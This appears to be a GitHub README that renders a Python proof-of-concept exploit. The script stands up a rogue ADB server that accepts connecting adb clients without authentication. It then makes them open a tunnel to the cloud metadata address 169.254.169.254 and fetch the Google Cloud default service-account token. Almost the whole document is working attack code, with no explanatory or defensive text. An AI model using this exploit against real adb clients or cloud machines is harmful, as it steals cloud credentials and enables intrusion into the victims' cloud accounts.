README.md
Rendering markdown...
#!/usr/bin/env python3
import socket
import adb_shell
from adb_shell import adb_message
from builtins import bytes
HOST = '0.0.0.0' # Standard loopback interface address (localhost)
PORT = 5556 # Port to listen on (non-privileged ports are > 1023)
LOCAL_ID = 1234
TARGET = b'169.254.169.254:80' # b"127.0.0.1:1111"
HTTP_REQUEST = b"GET /computeMetadata/v1/instance/service-accounts/default/token HTTP/1.0\r\nHost: "+TARGET+b"\r\nMetadata-Flavor: Google\r\n\r\n"
def pack(cmd, arg0, arg1, payload):
header = adb_message.AdbMessage(cmd, arg0, arg1, payload).pack()
return header+payload
A_CNXN = pack(
adb_shell.constants.CNXN,
16777216, # version
262144, # max_data
b'host::features=stat_v2,cmd,shell_v2'
)
A_OPEN_METADATA = pack(
adb_shell.constants.OPEN,
LOCAL_ID, # local-id
0, # constant, unused
b'tcp:'+TARGET+b'\x00' # destination;
# TODO: test local:... target - no idea if that would work
# TODO: verify what happens if we "forget" sending the trailing \x00
)
def unpack(data):
print(data)
header = data[0:24]
payload = data[24:]
unpacked = adb_message.unpack(header)
# cmd, arg0, arg1, data_length, checksum
payload = payload[0:unpacked[3]]
cmd_str = adb_message.int_to_cmd(unpacked[0]).decode("utf-8")
return (cmd_str, unpacked, payload)
def do_read(conn):
data = conn.recv(1024)
if not data:
return
print("<<<", data)
parsed = unpack(data)
print(parsed)
return parsed
def do_send(conn, data):
print(">>>", data)
conn.sendall(data)
def do_the_job():
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen()
print("Listening on", HOST, PORT)
while True:
conn, addr = s.accept()
with conn:
print('Connected by', addr)
request_sent = False
while True:
data = do_read(conn)
if not data:
break
if data[0] == "CNXN":
print("Accepting the incoming connection without authentication")
do_send(conn, A_CNXN)
print("And also asking the remote adb client to kindly connect to our target")
do_send(conn, A_OPEN_METADATA)
if data[0] == "OKAY" and not request_sent:
print("The connection has established!")
remote_id = data[1][1]
do_send(conn, pack(adb_shell.constants.WRTE, LOCAL_ID, remote_id, HTTP_REQUEST))
request_sent = True
if data[0] == "WRTE":
print("Wooho, we got response for our rouge request!")
print(data[2])
print("Connection closed")
if __name__ == "__main__":
do_the_job()